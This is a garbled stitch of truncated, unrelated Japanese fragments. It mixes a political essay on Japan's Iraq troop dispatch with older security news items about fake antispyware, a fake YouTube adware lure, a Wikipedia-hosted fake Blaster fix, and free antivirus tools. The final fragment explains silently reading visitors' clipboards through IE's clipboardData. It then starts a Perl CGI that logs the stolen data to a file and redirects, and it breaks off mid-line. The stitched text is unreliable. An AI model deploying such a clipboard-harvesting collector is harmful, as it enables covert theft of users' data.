イラクの多国籍軍に部隊を派遣している国は国連に加盟している192カ国のうち32カ国(16・6%)にすぎず、さらに減少中で、アメリカの同盟国約60カ国中18カ国以下だ。「国際協調」と言ってもむしろ国際社会で孤立した少数派に日本はくみした形だ。しかもイラクでゲリラ活動が広がり、混乱長期化が確実となっていた03年12月末から自衛隊の派遣を始めた。これは第2次大戦中の1941年12月6日ソ連軍がモスクワ前面で総反攻を開始した2日後に真珠湾を攻撃し、ドイツ側に立って参戦した苦い経験を想起させる。 こうした日本政府の判断の一因は「日本はアメリカに守ってもらっているから仕方ない」という観念だろう。日本人一般にもこの「刷り込み」は浸透し、自衛隊の能力を過小評価し、米軍の日本防衛への貢献度を過大評価しがちだ。実際に日本は防衛をどの程度米軍に依存しているのか、再検証が必要だ。 在日米陸軍は人員約1600人。神
感染してもいないのに「スパイウェアに感染しています!」などと騒ぎ立て、除去したければ~とクレジットカード番号の入力を求める、いわゆる「自作自演スパイウェア」に特化されたインストール不要のフリー検出&除去ツールRogueRemoverがリリースされた。対応するマルウェアのリストは作者サイト内のページを参照。今現在自作自演スパイウェアに悩んでいる人はもちろん、全てのインターネットユーザーにとって、インストール不要で除去まで可能なツールは有用だ。今後新しいブラウザセキュリティホール等を悪用され、常用しているアンチウイルスが対応していないマルウェアに感染する可能性は、万人にとって0ではない。ブックマークに登録しておき、いざという時に打てる手を一つ増やしておこう。 少し前から、全く問題のないマシンでも左SSのように「重要なエラーが見つかりました!」と警告を発する自作自演スパイウェアが増えている。こ
米Websenseは現地時間11月6日,広告などを表示するアドウエア(スパイウエア)をユーザーをだましてインストールさせる新たな手口を確認したとして注意を呼びかけた。動画共有サービス「YouTube」に置かれたように見せかけられた動画(ビデオ)を再生しようとすると,スパイウエアをインストールされる恐れがある。 今回確認された手口は2段階。まず,YouTubeへの投稿ビデオに見せかけた動画(画像)を,ソーシャル・ネットワーキング・サービス(SNS)「MySpace.com」の複数の個人ページに張り込んでおく(写真1)。張り込まれた動画の下には,「動画は自動的に再生されますが,再生されない場合には上の画像をクリックしてください」といった文章が英語で書かれている。この動画は偽物なので,自動的には再生されない。そこで,ユーザーが画像(動画再生部分)をクリックすると,YouTubeとよく似たドメイン
マイクロソフト(株)は9日、スパイウェア対策ソフト「Windows Defender」の日本語版を正式公開した。10月23日に公開された英語版に引き続いての公開となる。Windows XP/Server 2003/XP x64/Server 2003 x64に対応するフリーソフトで、現在同社のホームページからダウンロード可能。 「Windows Defender」は、システムやIEの動作をリアルタイムに監視し、スパイウェアのインストールを阻止できるスパイウェア対策ソフト。パソコン全体のスキャンを手動・スケジュール実行し、既に侵入してしまったスパイウェアを駆除することも可能。スパイウェアの定義ファイルは定期的に自動アップデートされる。 また、Windowsのスタートアップ時に自動起動するプログラムや、ネットワークに接続しているプログラムなどを一覧表示し、選択したプログラムの発行元やデジタル署
英Sophosは現地時間11月3日,オンライン百科事典「Wikipedia」ドイツ語版に,悪質なプログラム(ウイルス)をインストールさせるような記事が追加されていたことを明らかにした。 Sophosによれば,攻撃者はWikipediaドイツ語版に虚偽の情報を記述した記事を追加。その記事には,2003年に大きな被害をもたらした「Blaster」ウイルスの新種が現在出回っているとして,その駆除ツール(fix)と称するプログラムへリンクが張られている。しかし実際には,駆除ツールではなく悪質なプログラムがリンクされている。記事の情報を信用してそのプログラムをインストールすると被害に遭う。 加えて攻撃者は,その記事へ誘導するメールを不特定多数に送信。Wikipediaから送られたように見せかけたそのメールには,Blasterに関する偽の情報と記事へのリンクが記載されている。 現在ではその記事は削除さ
IE(やIEエンジンを使うタブブラウザ)には「制限付きサイト」というリストがある。危険なサイトを登録すると、そのサイトにアクセスしたとき自動でセキュリティを高めてくれる……のだが、基本的に、危険サイトにセキュリティの低い設定でアクセスしたら、その時点で既に手遅れだ。「制限付きサイト」とは、自分がアクセスしたサイトを登録するのではなく、今回紹介するフリーソフト「SpySItes」などを使い、危険サイトを一括で自動登録しておくリストなのだ。危険なサイトを制限付きサイトに一括自動登録 → うっかりアクセスしてしまっても自動でセキュリティが高まる → スパイウェア等のインストールを防げる、というように「制限付きサイト」を活用しよう。 先に書いておくと、「制限付きサイト」に危険サイトを一括自動登録する手段には、「IE-Spyad」というフリーソフトもある。IE-Spyadの危険サイトリストは約40
独AntiVir PersonalProducts GmbHは27日(現地時間)、ヒューリスティックエンジン搭載のウイルス対策ソフト「AntiVir PersonalEdition Classic」v7の英語版とドイツ語版を公開した。Windows 98/Me/NT 4.0/2000/XPに対応し、非商用の個人利用に限りフリーで使用可能。現在同社のホームページからダウンロードできる。 「AntiVir PersonalEdition Classic」は、タスクトレイに常駐してファイルの読み書きを監視し、ウイルスの感染を防ぐウイルス対策ソフト。定義ファイルによるほか、ヒューリスティックエンジン搭載により未知のウイルスも見つけ出せるのが特長。リアルタイム監視のほか、フォルダ上の右クリックメニューから指定フォルダ内の検査ができ、定期的にウイルススキャンを実行したり定義ファイルを更新することも可能
仲秋 理佐子 ウェブルート・ソフトウェア株式会社 テクニカルサポート スーパーバイザー 2005/11/30 オンラインバンキングの顧客をターゲットにしたサイバー犯罪のニュースがメディアをにぎわせたことで、「スパイウェア」という言葉が急速にクローズアップされている。 「ウイルス」とは違う目的で作られ、まったく異なる動きをするスパイウェア。放っておけば個人情報流出やクレジットカード/オンラインバンキングの資産を盗まれるなど、企業・個人双方にとって取り返しのつかない被害をもたらす。 しかし残念ながら、この新しいオンライン脅威に対して、正しい対策を取っている企業・個人ユーザーはまだまだ少数なのが現状だ。 そこで本稿では、スパイウェアとは何か、ウイルスとはどう違うのか、最新スパイウェアの技術的特徴、そしてスパイウェアへの正しい対策法を紹介したい。 スパイウェアとウイルスは何が違うのか そもそも、ス
IE には、便利な機能がある。それは、スクリプト(JavaScript etc..)でクリップボードの操作ができるのだ。clipboardData というオブジェクトね。操作できる内容は、クリップボードにデータを読み込むこと(setData)、読み出すこと(getData)、消去すること(clearData)の3種類。 読み出すことも可能なんですよね。しかも、デフォルトでは、警告すら出ない。 以下のような、プログラムを準備しよう。 #!/usr/bin/perl use strict; my $file = '/tmp/cb.txt'; open (CB, ">> $file"); print CB "$ENV{'QUERY_STRING'}\n"; close (CB); print "Status: 301 Moved Permanently\n"; print "Location:
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